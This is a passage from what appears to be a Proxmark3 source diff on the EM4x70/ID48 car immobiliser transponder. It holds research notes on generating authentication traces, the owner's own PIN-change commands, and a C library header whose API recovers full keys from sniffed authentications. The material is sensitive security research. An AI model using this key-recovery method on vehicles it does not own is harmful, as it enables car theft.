| ` 9` | `wo` | `crypto key | bits 80..95` | `bits 95..80` |
| `10` | `wo` | `pin code | bits 0..15` | `bits 15.. 0` |
| `11` | `wo` | `pin code | bits 16..31` | `bits 31..16` |
| `12` | ` ` | `user memory | bits 30..45` | `bits 45..30` |
| `13` | ` ` | `user memory | bits 46..61` | `bits 61..46` |
| `14` | ` ` | `user memory | bits 62..77` | `bits 77..62` |
| `15` | ` ` | `user memory | bits 78..93` | `bits 93..78` |
### Vehicle authentication value - Data dependency
Given:
* An EM4x70 (ID48) Transponder with a writable key
* The output filter `OF(X²⁰) -> r¹` function is a black box:
* The internal workings are not, themselves, known
* The 20-bit input for the output filter function `OF(X²⁰)`
can be calculated for `s₀..s₅₄`, given only `N` and `K`
* Exists a bitmap `OF_Known[2²⁰]` (128kb) indicating if, for
a given 20-bit input, the result `r¹` is known
* Initially, this is all set to zero (false).
* Exists a bitmap `OF_Result[2²⁰]` (128kb) indicating, for a given
20-bit input, a known result `r¹`.
* Values are valid only when corresponding bit in `OF_Known` is set to one (true)
The, starting with a single known valid trace: `K` + `[ N, Aᵥ, Aₜ]`:
1. The starting valid trace fills in ~48 entries in `OF_Known`/`OF_Result`
2. By cycling through all `K''` having the same upper 91 bits,
31 additional traces `[K'', N, Aᵥ]` are trivially created.
Each `K''` will share the first 28 output bits (`Aᵥ` is the same),
but have potentially 20 more unique internal states.
a. 31 instances x 20 bits per instance == 620 more potential entries
b. Subtotal: 668 entries known (0.06%)
3. By cycling through all `K'` having the same upper 80 bits,
with least significant 5 bits set to zero:
a. Brute-forcing the required value of `N'` takes at most 512 attempts
because `N(55..9) = N'(55..9)`.
b. On average, this takes 256 attempts.
b. As above, all other 31 values for `K''` will use the same `N'`,
allowing 668 additional output values to be potentially filled
4. Over time, `OF_Known` will trend towards being mostly populated
### more random thoughts
Can leave multiple pm3 running 24/7, logging results.
Note that the initial state `S₀` is also known
(for that nonce) for ALL OTHER 2^40 keys that
share the same bits in `K[95..40]`. (!!!)
### earliest notes on branching technique
Similar to Partial Key-Update Aₜtack, for creating mapping
of the output filter function `OF( x²⁰ ) --> bool`
Given:
* Known private key `K`
* Known working data: { `Nonce[55..0]` , `AuthV[27..0]`, `AuthT²⁰` }
* ID48 Transponder with Rewritable Key
* Output bit does not alter any other cryptographic state
* s₀ depends ONLY on { N, K[40..95] }
* sₙ depends ONLY on s(N-1) and K(40-N) --> { N, K[(40-N)..95] }
* `s₀` depends ONLY on --> { `N`, `K[40..95]` }
* `s₁` --> { `N`, `K[39..95]` }
* `s₂` --> { `N`, `K[38..95]` }
* `s₃` --> { `N`, `K[37..95]` }
* `s₄` --> { `N`, `K[36..95]` }
* `s₅` --> { `N`, `K[35..95]` }
* `s₆` --> { `N`, `K[34..95]` }
* `s₇` `Aᵥ₂₇` --> { `N`, `K[33..95]` }
* `s₈` `Aᵥ₂₆` --> { `N`, `K[32..95]` }
* `s₉` `Aᵥ₂₅` --> { `N`, `K[31..95]` }
* `s₁₀` `Aᵥ₂₄` --> { `N`, `K[30..95]` }
* `s₁₁` `Aᵥ₂₃` --> { `N`, `K[29..95]` }
* `s₁₂` `Aᵥ₂₂` --> { `N`, `K[28..95]` }
* `s₁₃` `Aᵥ₂₁` --> { `N`, `K[27..95]` }
* `s₁₄` `Aᵥ₂₀` --> { `N`, `K[26..95]` }
* `s₁₅` `Aᵥ₁₉` --> { `N`, `K[25..95]` }
* `s₁₆` `Aᵥ₁₈` --> { `N`, `K[24..95]` }
* `s₁₇` `Aᵥ₁₇` --> { `N`, `K[23..95]` }
* `s₁₈` `Aᵥ₁₆` --> { `N`, `K[22..95]` }
* `s₁₉` `Aᵥ₁₅` --> { `N`, `K[21..95]` }
* `s₂₀` `Aᵥ₁₄` --> { `N`, `K[20..95]` }
* `s₂₁` `Aᵥ₁₃` --> { `N`, `K[19..95]` }
* `s₂₂` `Aᵥ₁₂` --> { `N`, `K[18..95]` }
* `s₂₃` `Aᵥ₁₁` --> { `N`, `K[17..95]` }
* `s₂₄` `Aᵥ₁₀` --> { `N`, `K[16..95]` }
* `s₂₅` `Aᵥ₉` --> { `N`, `K[15..95]` }
* `s₂₆` `Aᵥ₈` --> { `N`, `K[14..95]` }
* `s₂₇` `Aᵥ₇` --> { `N`, `K[13..95]` }
* `s₂₈` `Aᵥ₆` --> { `N`, `K[12..95]` }
* `s₂₉` `Aᵥ₅` --> { `N`, `K[11..95]` }
* `s₃₀` `Aᵥ₄` --> { `N`, `K[10..95]` }
* `s₃₁` `Aᵥ₃` --> { `N`, `K[ 9..95]` }
* `s₃₂` `Aᵥ₂` --> { `N`, `K[ 8..95]` }
* `s₃₃` `Aᵥ₁` --> { `N`, `K[ 7..95]` }
* `s₃₄` `Aᵥ₀` --> { `N`, `K[ 6..95]` }
Therefore, if we write `K'` to a second transponder,
where `K' == K ^ 0x20` (flip bit 6)
then `Aᵥ'` == `Aᵥ[27..1]` + one random bit
Therefore, by carefully selecting derived keys to
be written to transponders, it becomes trivial to
generate many successful authentication traces.
Example:
Known valid trace:
[ K, N, Aᵥ ] == [ F32AA98CF5BE4ADFA6D3480B, 45F54ADA252AAC, 4866BB70 ] --> 9B D1 80
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D3482B, 45F54ADA252AAC, 4866BB60 ] --> Fail
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D3482B, 45F54ADA252AAC, 4866BB70 ] --> 4E BB D0
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D3486B, 45F54ADA252AAC, 4866BB40 ] --> Fail
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D3486B, 45F54ADA252AAC, 4866BB50 ] --> Fail
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D3486B, 45F54ADA252AAC, 4866BB60 ] --> Fail
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D3486B, 45F54ADA252AAC, 4866BB70 ] --> 39 55 90
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D3484B, 45F54ADA252AAC, 4866BB60 ] --> Fail
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D3484B, 45F54ADA252AAC, 4866BB70 ] --> E8 60 D0
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D348DB, 45F54ADA252AAC, 4866BB70 ] --> Fail
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D348DB, 45F54ADA252AAC, 4866BB60 ] --> Fail
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D348DB, 45F54ADA252AAC, 4866BB50 ] --> Fail
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D348DB, 45F54ADA252AAC, 4866BB40 ] --> Fail
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D348DB, 45F54ADA252AAC, 4866BB30 ] --> Fail
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D348DB, 45F54ADA252AAC, 4866BB20 ] --> Fail
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D348DB, 45F54ADA252AAC, 4866BB10 ] --> ED 9C 20
[ K', N, Aᵥ' ] == [ F32AA98CF5BE4ADFA6D348DB, 45F54ADA252AAC, 4866BB00 ] --> Fail
This has been CONFIRMED WORKING using actual hardware.
See https://github.com/dorssel/usbipd-win/wiki/Automation#json
This can avoid having to swap to Windows to re-connect if the
device disconnects/reconnects for any reason.
### Branching Logic
Function ExpandBy32() takes as input:
* 96-bit private key `K`
* 56-bit nonce `N`
* 28-bit valid vehicle auth `Aᵥ`
Step 1. Write the private key `K`
Step 2. Validate authentication works with `N` and `Aᵥ`
Step 3. Set lowest 5 bits of `K` to zero
Step 4. For `i` in (0..31):
4a. Set temporary key `K'` as `K+i` (set some of lowest 5 bits)
4b. Write private key `K'`
4c. Validate authentication works with `N` and `Aᵥ`
4d. Verify received 20-bit response, `Aₜ`
4e. For each success, print the set: { `K'`, `N`, `Aᵥ`, `Aₜ` }
Function Branch() takes as input:
* 96-bit private key `K`
* 56-bit nonce `N`
* 28-bit valid vehicle auth `Aᵥ` (just `A` in below)
VERIFY VALID INPUTS:
* Write the private key
* Validate authentication works with `N` and `Aᵥ`
Then (using 2^16) potential authentications as maximum
Select a target key `K'`, where `K'[95..()]`
This is when the private key ***IS*** already known,
and you have a starting point.
### My vehicle
My 2004 Volvo S60 key originally had a pin code of 'AAAAAAAA'.
Updating the pin code:
1. Get info:
In this example, block 1 data == `ED08`, (0b1110...)
`lf em 4x70 info`
2. Because Lockbit 0 was set, send the PIN to unlock:
`lf em 4x70 unlock --pin AAAAAAAA`
3. Verify successful unlock by checking LockBit0:
In this example, block 1 data == `AD08`, (0b1010...)
so LockBit1 = 1, LockBit0 = 0 == success.
`lf em 4x70 info`
4. Write the new pin code as DEADBEEF
`lf em 4x70 writepin --pin DEADBEEF`
5. Set lockbit0 to 1 (based on existing data in block1):
e.g, `AD08 | 4000 == ED08`
`lf em 4x70 write --block 1 --data ED08`
[=] ------+----------+-----------------------------
[=] 3 | xx xx | ID (redacted)
[=] 2 | xx xx | ID (redacted)
[=] ------+----------+-----------------------------
[=] 1 | ED 08 | UM1
[=] 0 | 87 7D | UM1
[=] ------+----------+-----------------------------
[=]
[=] Tag ID: DB 4F B2 E8
[=] Lockbit 0: 1
[=] Lockbit 1: 1
[=] Tag is LOCKED.
### Demodulating the traces
To be written. Generally, save as WAV file,
and then use more powerful tools than the data
viewer that is built into PM3 client.
### fancy characters
Symbols, subscripts, superscripts...
```
X₀₁₂₃₄₅₆₇₈₉₊₋₌₍₎ₐₑₒₓₔₕₖₗₘₙₚₛₜⱼᵢᵣᵤᵥᵦᵧᵨᵩᵪ.
X⁰¹²³⁴⁵⁶⁷⁸⁹⁺⁻⁼⁽⁾ⁿⁱ
⊕εx̄∧
```

206
client/deps/id48/id48.h Normal file
View file

@ -0,0 +1,206 @@
/**
* The MIT License (MIT)
*
* Copyright (c) 2024 by Henry Gabryjelski
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#if !defined(ID48_H__)
#define ID48_H__
// This file defines only the structs and API surface.
// There are no dependencies on any external code.
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#if defined(NDEBUG)
#define ASSERT(x) ((void)0)
#elif defined(ID48_NO_STDIO)
#define ASSERT(x) ((void)0)
#else // neither NDEBUG nor ID48_NO_STDIO defined
#include <stdio.h>
#include <assert.h>
#define ASSERT(x) assert((x))
#endif
#if defined(__cplusplus)
extern "C" {
#endif
/// <summary>
/// [0..11] stores K₉₅..K₀₀
/// </summary>
/// <remarks>
/// Big-endian, "native" bit order, when viewed linearly from k[ 0..11]
/// Mapping to the indices used in the research paper:
/// k[ 0] :== K₉₅..K₈₈
/// k[ 1] :== K₈₇..K₈₀
/// k[ 2] :== K₇₉..K₇₂
/// k[ 3] :== K₇₁..K₆₄
/// k[ 4] :== K₆₃..K₅₆
/// k[ 5] :== K₅₅..K₄₈
/// k[ 6] :== K₄₇..K₄₀
/// k[ 7] :== K₃₉..K₃₂
/// k[ 8] :== K₃₁..K₂₄
/// k[ 9] :== K₂₃..K₁₆
/// k[10] :== K₁₅..K₀₈
/// k[11] :== K₀₇..K₀₀
/// </remarks>
typedef struct _ID48LIB_KEY { // 96-bit
uint8_t k[12];
} ID48LIB_KEY;
/// <summary>
/// [0..6] stores N₅₅..N₀₀
/// </summary>
/// <remarks>
/// Big-endian, "native" bit order, when viewed linearly from rn[0..6]
/// Mapping to the indices used in the research paper:
/// rn[ 0] :== N₅₅..N₄₈
/// rn[ 1] :== N₄₇..N₄₀
/// rn[ 2] :== N₃₉..N₃₂
/// rn[ 3] :== N₃₁..N₂₄
/// rn[ 4] :== N₂₃..N₁₆
/// rn[ 5] :== N₁₅..N₀₈
/// rn[ 6] :== N₀₇..N₀₀
/// </remarks>
typedef struct _ID48LIB_NONCE { // 56-bit
uint8_t rn[7];
} ID48LIB_NONCE;
/// <summary>
/// [0..3] stores O₀₀..O₂₇ 0000
/// </summary>
/// <remarks>
/// Big-endian, "bitstream" bit order, when viewed linearly from frn[0..3]
/// This is the order in which the research paper typically lists the bits.
/// Mapping to the indices used in the research paper,
/// where ( O₀₀ .. O₂₇ ) :== output(s₀₇,k₃₂..k₀₅ )
/// then:
/// frn[ 0] :== O₀₀..O₀₇
/// frn[ 1] :== O₀₈..O₁₅
/// frn[ 2] :== O₁₆..O₂₃
/// frn[ 3] :== O₂₄..O₂₇ 0000
/// </remarks>
typedef struct _ID48LIB_FRN {
uint8_t frn[4];
} ID48LIB_FRN;
/// <summary>
/// [0..3] stores O₂₈..O₄₇ (12x 0)
/// </summary>
/// <remarks>
/// Native format if viewed linearly from frn[0..6].
/// Mapping to the indices used in the research paper,
/// where ( O₂₈ .. O₅₅ ) :== output( s₃₅, k₀₄..k₀₀ (15x 0) ) == grn
///
/// then:
/// rn[ 0] :== O₂₈ .. O₃₅
/// rn[ 1] :== O₃₆ .. O₄₃
/// rn[ 2] :== O₄₄..O₄₇ 0000
/// rn[ 3] :== 0000 0000
/// </remarks>
typedef struct _ID48LIB_GRN {
uint8_t grn[3];
} ID48LIB_GRN;
/// <summary>
/// When provided a key and nonce, will calculate
/// the frn and grn values and store in caller-provided
/// output parameters.
/// </summary>
/// <remarks>
/// Note: In C++, each parameter would be a reference (not pointer).
/// </remarks>
void id48lib_generator(
const ID48LIB_KEY* key_96bit,
const ID48LIB_NONCE* nonce_56bit,
ID48LIB_FRN* frn28_out,
ID48LIB_GRN* grn20_out
);
/// <summary>
/// Initializes to allow iterative recovery
/// of multiple potential keys. After calling
/// this init() function, can repeatedly call
/// the next() function until it returns false
/// to obtain all potential keys.
/// </summary>
/// <param name="input_partial_key">
/// Top 48 bits of the key, such as those discovered
/// using the proxmark3 command `lf em 4x70 brute`.
/// Only k[0..5] are used from this parameter,
/// corresponding to K₉₅..K₄₈.
/// </param>
/// <param name="input_nonce">
/// The nonce value.
/// Typically from a sniffed authentication.
/// </param>
/// <param name="input_frn">
/// The challenge sent from the reader (e.g., car)
/// to the tag (e.g., key).
/// Typically from a sniffed authentication.
/// </param>
/// <param name="input_grn">
/// The response sent from the tag (e.g., key)
/// to the car (e.g., car).
/// Typically from a sniffed authentication.
/// </param>
/// <remarks>
/// Note: In C++, each parameter would be a reference (not pointer).
/// </remarks>
void id48lib_key_recovery_init(
const ID48LIB_KEY* input_partial_key,
const ID48LIB_NONCE* input_nonce,
const ID48LIB_FRN* input_frn,
const ID48LIB_GRN* input_grn
);
/// <summary>
/// This can be repeated called (after calling init())
/// to find the next potential key for the given
/// partial key + nonce + frn + grn values.
/// I've seen combinations that have up to six
/// potential keys available, although typically
/// there are 1-3 results.
/// Each call to this function will return a single
/// value. Call repeatedly until the function returns
/// false to get all potential keys.
/// </summary>
/// <param name="potential_key_output">
/// When the function returns true, this caller-provided
/// value will be filled with the 96-bit key that, when
/// programmed to the tag, should authenticate against
/// the nonce+frn values, with tag returning the grn value.
/// </param>
/// <returns>
/// true when another potential key has been found.
/// false if no additional potential keys have been found.
/// </returns>
/// <remarks>
/// Note: In C++, each parameter would be a reference (not pointer).
/// </remarks>
bool id48lib_key_recovery_next(
ID48LIB_KEY* potential_key_output
);
#if defined(__cplusplus)
}
#endif
#endif // !defined(ID48_H__)

8366
client/deps/id48/id48_data.c Normal file

File diff suppressed because it is too large Load diff

View file

@ -0,0 +1,894 @@
/**
* The MIT License (MIT)
*
* Copyright (c) 2024 by Henry Gabryjelski
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include "id48_internals.h"
typedef struct _INPUT_BITS2 {
// least significant 55 bits are valid/used; lsb == input₀₀
uint64_t Raw;
} INPUT_BITS2;
typedef struct _OUTPUT_BITS2 {
// least significant 55 bits valid
// Raw₅₄..Raw₄₈ == ignored bits to get to s₀₇
// Raw₄₇..Raw₂₀ == 28-bit challenge value frn
// Raw₁₉..Raw₀₀ == 20-bit response value grn
uint64_t Raw;
} OUTPUT_BITS2;
typedef struct _OUTPUT_INDEX2 {
// Opaque value for use in lookup of the output bit
// only least significant 20 bits are valid
uint32_t Raw;
} OUTPUT_INDEX2;
#if !defined(nullptr)
#define nullptr ((void*)0)
#endif
#pragma region // reverse_bits()
static inline uint8_t reverse_bits_08(uint8_t n) {
uint8_t bitsToSwap = sizeof(n) * 8;
uint8_t mask = (uint8_t)(~((uint8_t)(0u))); // equivalent to uint32_t mask = 0b11111111111111111111111111111111;
while (bitsToSwap >>= 1) {
mask ^= mask << (bitsToSwap); // will convert mask to 0b00000000000000001111111111111111;
n = (uint8_t)(((n & ~mask) >> bitsToSwap) | ((n & mask) << bitsToSwap)); // divide and conquer
}
return n;
}
static inline uint16_t reverse_bits_16(uint16_t n) {
uint8_t bitsToSwap = sizeof(n) * 8;
uint16_t mask = (uint16_t)(~((uint16_t)(0u))); // equivalent to uint32_t mask = 0b11111111111111111111111111111111;
while (bitsToSwap >>= 1) {
mask ^= mask << (bitsToSwap); // will convert mask to 0b00000000000000001111111111111111;
n = (uint16_t)(((n & ~mask) >> bitsToSwap) | ((n & mask) << bitsToSwap)); // divide and conquer
}
return n;
}
static inline uint32_t reverse_bits_32(uint32_t n) {
uint8_t bitsToSwap = sizeof(n) * 8;
uint32_t mask = (uint32_t)(~((uint32_t)(0u))); // equivalent to uint32_t mask = 0b11111111111111111111111111111111;
while (bitsToSwap >>= 1) {
mask ^= mask << (bitsToSwap); // will convert mask to 0b00000000000000001111111111111111;
n = (uint32_t)(((n & ~mask) >> bitsToSwap) | ((n & mask) << bitsToSwap)); // divide and conquer
}
return n;
}
static inline uint64_t reverse_bits_64(uint64_t n) {
uint8_t bitsToSwap = sizeof(n) * 8;
uint64_t mask = (uint64_t)(~((uint64_t)(0u))); // equivalent to uint32_t mask = 0b11111111111111111111111111111111;
while (bitsToSwap >>= 1) {
mask ^= mask << (bitsToSwap); // will convert mask to 0b00000000000000001111111111111111;
n = (uint64_t)(((n & ~mask) >> bitsToSwap) | ((n & mask) << bitsToSwap)); // divide and conquer
}
return n;
}
#pragma endregion // reverse_bits()
#pragma region // id48lib state register
// Bit: ₆₃ ₆₂ ₆₁ ₆₀ ₅₉ ₅₈ ₅₇ ₅₆ ₅₅ ₅₄ ₅₃ ₅₂ ₅₁ ₅₀ ₄₉ ₄₈ ₄₇ ₄₆ ₄₅ ₄₄ ₄₃ ₄₂ ₄₁ ₄₀ ₃₉ ₃₈ ₃₇ ₃₆ ₃₅ ₃₄ ₃₃ ₃₂
// Reg: x x x r₀₆ r₀₅ r₀₄ r₀₃ r₀₂ r₀₁ r₀₀ m₀₆ m₀₅ m₀₄ m₀₃ m₀₂ m₀₁ m₀₀ l₀₆ l₀₅ l₀₄ l₀₃ l₀₂ l₀₁ l₀₀ g₂₂ g₂₁ g₂₀ g₁₉ g₁₈ g₁₇ g₁₆ g₁₅
//
// Bit: ₃₁ ₃₀ ₂₉ ₂₈ ₂₇ ₂₆ ₂₅ ₂₄ ₂₃ ₂₂ ₂₁ ₂₀ ₁₉ ₁₈ ₁₇ ₁₆ ₁₅ ₁₄ ₁₃ ₁₂ ₁₁ ₁₀ ₀₉ ₀₈ ₀₇ ₀₆ ₀₅ ₀₄ ₀₃ ₀₂ ₀₁ ₀₀
// Reg: g₁₄ g₁₃ g₁₂ g₁₁ g₁₀ g₀₉ g₀₈ g₀₇ g₀₆ g₀₅ g₀₄ g₀₃ g₀₂ g₀₁ g₀₀ h₁₂ h₁₁ h₁₀ h₀₉ h₀₈ h₀₇ h₀₆ h₀₅ h₀₄ h₀₃ h₀₂ h₀₁ h₀₀ x x x 1
#pragma endregion // id48lib state register
#pragma region // bit definitions for the (stable) id48lib state register
// 63
// #define SSR_BIT_i 62 -- could do this ... one fewer parameter
// 61
#define SSR_BIT_R06 60
#define SSR_BIT_R05 59
#define SSR_BIT_R04 58
#define SSR_BIT_R03 57
#define SSR_BIT_R02 56
#define SSR_BIT_R01 55
#define SSR_BIT_R00 54
#define SSR_BIT_M06 53
#define SSR_BIT_M05 52
#define SSR_BIT_M04 51
#define SSR_BIT_M03 50
#define SSR_BIT_M02 49
#define SSR_BIT_M01 48
#define SSR_BIT_M00 47
#define SSR_BIT_L06 46
#define SSR_BIT_L05 45
#define SSR_BIT_L04 44
#define SSR_BIT_L03 43
#define SSR_BIT_L02 42
#define SSR_BIT_L01 41
#define SSR_BIT_L00 40
#define SSR_BIT_G22 39
#define SSR_BIT_G21 38
#define SSR_BIT_G20 37
#define SSR_BIT_G19 36
#define SSR_BIT_G18 35
#define SSR_BIT_G17 34
#define SSR_BIT_G16 33
#define SSR_BIT_G15 32
#define SSR_BIT_G14 31
#define SSR_BIT_G13 30
#define SSR_BIT_G12 29
#define SSR_BIT_G11 28
#define SSR_BIT_G10 27
#define SSR_BIT_G09 26
#define SSR_BIT_G08 25
#define SSR_BIT_G07 24
#define SSR_BIT_G06 23
#define SSR_BIT_G05 22
#define SSR_BIT_G04 21
#define SSR_BIT_G03 20
#define SSR_BIT_G02 19
#define SSR_BIT_G01 18
#define SSR_BIT_G00 17
#define SSR_BIT_H12 16
#define SSR_BIT_H11 15
#define SSR_BIT_H10 14
#define SSR_BIT_H09 13
#define SSR_BIT_H08 12
#define SSR_BIT_H07 11
#define SSR_BIT_H06 10
#define SSR_BIT_H05 9
#define SSR_BIT_H04 8
#define SSR_BIT_H03 7
#define SSR_BIT_H02 6
#define SSR_BIT_H01 5
#define SSR_BIT_H00 4
// 3 // used only when unstable (during calculations)
// 2 // used only when unstable (during calculations)
// 1 // used only when unstable (during calculations)
// 0 // 1 == stable, 0 == unstable (during calculations)
#pragma endregion // bit definitions for the (stable) id48lib state register
#pragma region // Unstable (during calculations) id48lib state register
// Bit: ₆₃ ₆₂ ₆₁ ₆₀ ₅₉ ₅₈ ₅₇ ₅₆ ₅₅ ₅₄ ₅₃ ₅₂ ₅₁ ₅₀ ₄₉ ₄₈ ₄₇ ₄₆ ₄₅ ₄₄ ₄₃ ₄₂ ₄₁ ₄₀ ₃₉ ₃₈ ₃₇ ₃₆ ₃₅ ₃₄ ₃₃ ₃₂
// Reg: i j r₀₆ r₀₅ r₀₄ r₀₃ r₀₂ r₀₁ r₀₀ m₀₆ m₀₅ m₀₄ m₀₃ m₀₂ m₀₁ m₀₀ l₀₆ l₀₅ l₀₄ l₀₃ l₀₂ l₀₁ l₀₀ g₂₂ g₂₁ g₂₀ g₁₉ g₁₈ g₁₇ g₁₆ g₁₅ g₁₄
//
// Bit: ₃₁ ₃₀ ₂₉ ₂₈ ₂₇ ₂₆ ₂₅ ₂₄ ₂₃ ₂₂ ₂₁ ₂₀ ₁₉ ₁₈ ₁₇ ₁₆ ₁₅ ₁₄ ₁₃ ₁₂ ₁₁ ₁₀ ₀₉ ₀₈ ₀₇ ₀₆ ₀₅ ₀₄ ₀₃ ₀₂ ₀₁ ₀₀
// Reg: g₁₃ g₁₂ g₁₁ g₁₀ g₀₉ g₀₈ g₀₇ g₀₆ g₀₅ g₀₄ g₀₃ g₀₂ g₀₁ g₀₀ h₁₂ h₁₁ h₁₀ h₀₉ h₀₈ h₀₇ h₀₆ h₀₅ h₀₄ h₀₃ h₀₂ h₀₁ h₀₀ _ a b c 0
#pragma endregion // Unstable (during calculations) id48lib state register
//
// Summary of XOR baseline that can be excluded because they are part of a single 64-bit `<< 1` operation:
// g₀₀ <-- h₁₂
// l₀₀ <-- g₂₂
// m₀₀ <-- l₀₆
// r₀₀ <-- m₀₆
//
#pragma region // bit definitions for the (unstable) id48lib state register
#define SSR_UNSTABLE_BIT_i 63
#define SSR_UNSTABLE_BIT_j 62
#define SSR_UNSTABLE_OLD_BIT_R06 61 // valid only during calculations aka R07 ... just has to have a name... doesn't matter what
#define SSR_UNSTABLE_OLD_BIT_R05 60
#define SSR_UNSTABLE_OLD_BIT_R04 59
#define SSR_UNSTABLE_OLD_BIT_R03 58
#define SSR_UNSTABLE_OLD_BIT_R02 57
#define SSR_UNSTABLE_OLD_BIT_R01 56
#define SSR_UNSTABLE_OLD_BIT_R00 55
#define SSR_UNSTABLE_OLD_BIT_M06 54
#define SSR_UNSTABLE_OLD_BIT_M05 53
#define SSR_UNSTABLE_OLD_BIT_M04 52
#define SSR_UNSTABLE_OLD_BIT_M03 51
#define SSR_UNSTABLE_OLD_BIT_M02 50
#define SSR_UNSTABLE_OLD_BIT_M01 49
#define SSR_UNSTABLE_OLD_BIT_M00 48
#define SSR_UNSTABLE_OLD_BIT_L06 47
#define SSR_UNSTABLE_OLD_BIT_L05 46
#define SSR_UNSTABLE_OLD_BIT_L04 45
#define SSR_UNSTABLE_OLD_BIT_L03 44
#define SSR_UNSTABLE_OLD_BIT_L02 43
#define SSR_UNSTABLE_OLD_BIT_L01 42
#define SSR_UNSTABLE_OLD_BIT_L00 41
#define SSR_UNSTABLE_OLD_BIT_G22 40
#define SSR_UNSTABLE_OLD_BIT_G21 39
#define SSR_UNSTABLE_OLD_BIT_G20 38
#define SSR_UNSTABLE_OLD_BIT_G19 37
#define SSR_UNSTABLE_OLD_BIT_G18 36
#define SSR_UNSTABLE_OLD_BIT_G17 35
#define SSR_UNSTABLE_OLD_BIT_G16 34
#define SSR_UNSTABLE_OLD_BIT_G15 33
#define SSR_UNSTABLE_OLD_BIT_G14 32
#define SSR_UNSTABLE_OLD_BIT_G13 31
#define SSR_UNSTABLE_OLD_BIT_G12 30
#define SSR_UNSTABLE_OLD_BIT_G11 29
#define SSR_UNSTABLE_OLD_BIT_G10 28
#define SSR_UNSTABLE_OLD_BIT_G09 27
#define SSR_UNSTABLE_OLD_BIT_G08 26
#define SSR_UNSTABLE_OLD_BIT_G07 25
#define SSR_UNSTABLE_OLD_BIT_G06 24
#define SSR_UNSTABLE_OLD_BIT_G05 23
#define SSR_UNSTABLE_OLD_BIT_G04 22
#define SSR_UNSTABLE_OLD_BIT_G03 21
#define SSR_UNSTABLE_OLD_BIT_G02 20
#define SSR_UNSTABLE_OLD_BIT_G01 19
#define SSR_UNSTABLE_OLD_BIT_G00 18
#define SSR_UNSTABLE_OLD_BIT_H12 17
#define SSR_UNSTABLE_OLD_BIT_H11 16
#define SSR_UNSTABLE_OLD_BIT_H10 15
#define SSR_UNSTABLE_OLD_BIT_H09 14
#define SSR_UNSTABLE_OLD_BIT_H08 13
#define SSR_UNSTABLE_OLD_BIT_H07 12
#define SSR_UNSTABLE_OLD_BIT_H06 11
#define SSR_UNSTABLE_OLD_BIT_H05 10
#define SSR_UNSTABLE_OLD_BIT_H04 9
#define SSR_UNSTABLE_OLD_BIT_H03 8
#define SSR_UNSTABLE_OLD_BIT_H02 7
#define SSR_UNSTABLE_OLD_BIT_H01 6
#define SSR_UNSTABLE_OLD_BIT_H00 5
#define SSR_UNSTABLE_NEW_BIT_H00 4 // ... new value of H00 goes here ...
#define SSR_UNSTABLE_BIT_a 3 // valid only during calculations (ssr & 0b1 == 0b0), else ???
#define SSR_UNSTABLE_BIT_b 2 // valid only during calculations (ssr & 0b1 == 0b0), else ???
#define SSR_UNSTABLE_BIT_c 1 // valid only during calculations (ssr & 0b1 == 0b0), else ???
// 0 // == 0 value defines as unstable state
#pragma endregion // bit definitions for the (stable) id48lib state register
#pragma region // single bit test/set/clear/flip/assign
static inline bool is_ssr_state_stable (const ID48LIBX_STATE_REGISTERS* ssr) { ASSERT(ssr != nullptr); return ((ssr->Raw & 1u) == 1u); }
static inline bool test_single_ssr_bit (const ID48LIBX_STATE_REGISTERS* ssr, size_t bit_index) { ASSERT(ssr != nullptr); ASSERT(bit_index < (sizeof(uint64_t) * 8)); return ((ssr->Raw) >> bit_index) & 1; }
